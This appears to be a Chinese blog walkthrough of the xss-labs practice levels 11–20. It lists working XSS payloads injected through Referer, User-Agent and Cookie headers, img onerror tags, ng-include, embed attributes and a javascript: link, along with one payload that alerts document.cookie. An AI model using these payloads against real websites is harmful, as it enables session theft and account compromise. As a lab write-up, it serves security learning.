xss-labs(Less11-Less20)

xss的关键是寻找参数未过滤的输出函数

Less 11|
 
payload:Referer:"onclick="javascript:alert(/xss/)"type="test
 
Less 12|
 
payload:User Agent:"onclick="javascript:alert(/xss/)"type="test
 
Less 13|
 
payload:Cookie:user="onclick="javascript:alert(/xss/)"type="test
 
Less 14|
 
payload:exif xss
 
Less 15|
 
payload:?src='level1.php?name=<img src=1 onerror=alert(1)>'
 
Less 16|
 
payload:?keyword=<img%0asrc=1%0aonerror="alert('xss')">
 
Less 17|
 
payload:onmouseover='javascript:alert('xss')'
 
Less 18|
 
payload:onmouseover='javascript:alert('xss')'
 
Less 19|
 
payload:arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>
 
Less 20|
 
payload:arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

Less 11

 查看源码,发现四个隐藏表单,其中t_ref中的value值是上一关的链接

构造代码

&t_link="type="text&t_history="type="text&t_sort="type="text&t_ref="type="text

发现t_sort中<>被替换为HTML实体字符

进行抓包,将referer修改为"οnclick="javascript:alert(/xss/),发现referer的值出现在t_ref的value值中

放行,将type值的hidden删除,出现对话框,点击后弹框

看看Less11源码

$_SERVER['HTTP_REFERER']的作用是得到链接到当前页面的前一页面的地址

payload:

Referer:"onclick="javascript:alert(/xss/)"type="test

Less 12

查看源码,出现t_ua,根据上一关,t_ua即User Agent

构造代码"οnclick="javascript:alert('xss'),通过hackbar更改User Agent的值,将type中的hidden删除,出现对话框,点击进入下一关

看看Less12源码

$_SERVER['HTTP_USER_AGENT']的作用是获取用户的相关信息,包括用户使用的浏览器,操作系统等信息

payload:

User Agent:"onclick="javascript:alert(/xss/)"type="test

 

Less 13

查看源码,发现t_cook,应该就是cookie 

我们直接尝试用hackbar修改Cookie值

查看Less13源码

$_SERVER["user"]的作用是获取user的cookie值

payload:

Cookie:user="onclick="javascript:alert(/xss/)"type="test

 

Less 14

这一关需要可以访问下图中的URL,但是现在打不开了

本关涉及exif xss漏洞,exif是可交换图像文件格式,直接使用鼠标右键进入属性页面直接修改

将XSS写到Exif里(PowerExif)exif是PHP拓展,使用exif_read_data()函数要开启拓展

<?php
   $exif = exif_read_data('timg.jpg');
   var_dump($exif);
?>

具体就不多说了

 

Less 15

查看源码,发现src的值被添加到标签span的class的属性值中,但是前面出现了ng-include

关于ng-include

1、ng-include 指令用于包含外部的 HTML文件

2、包含的内容将作为指定元素的子节点

3、ng-include 属性的值可以是一个表达式,返回一个文件名

4、默认情况下,包含的文件需要包含在同一个域名下

特别值得注意的几点如下:

1.ng-include如果单纯指定地址,必须要加引号

2.ng-include加载外部html,script标签中的内容不执行

3.ng-include加载外部html中含有style标签样式可以识别

Less15源代码中 https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js被墙了,所以换成国内地址 https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件

包含第一关的地址,可以直接跳转成功

构造代码如下:

payload:

?src='level1.php?name=<img src=1 onerror=alert(1)>'

但为什么要在level1.php后面添加?,因为我们不是单纯的去包含level1.php,而是在后面添加了参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思

 

Less 16

一进去就可以看到test回显在了页面中

添加<script>alert()</script>测试,发现script,/都被替换成了HTML实体字符

查看Less16源码,发现script,/以及空格都被替换成了HTML实体字符

因此我们构造语句:

<img
src=1
onerror="alert('xss')">

这里需要回车的url编码格式%0a或%0d

payload:

?keyword=<img%0asrc=1%0aonerror="alert('xss')">

 

Less 17

看看源码,发现参数出现在标签embed中,这里肯定是突破口

测试<script>alert('xss')</script>,<>替换为HTML实体字符

到这里我才知道原本中间有一个flash动画,尝试了谷歌和火狐,都屏蔽了...

后面全部采用360

正确显示如下:

构造代码

payload:

onmouseover='javascript:alert()'

查看Less17源码

embed标签就是引入一个swf文件到服务器端,并且它的src属性值没有添加引号,所以不用闭合

 

Less 18

和之前的方法一样

payload:

onmouseover='javascript:alert('xss')'

 

Less 19

尝试之前构造的代码,οnmοuseοver='javascript:alert('xss')',可以看到src被"闭合,但"会转义,所以我们需要换个方法

构造超链接

payload:

arg01=version&arg02=<a href="javascript:alert(/xss/)">xss</a>

关于本关的详解:https://baynk.blog.csdn.net/article/details/103213877

Less 20

你甚至只能看到一个标题

有点复杂

payload:

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

 

关于本关的详解:https://blog.csdn.net/u014029795/article/details/103217680

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值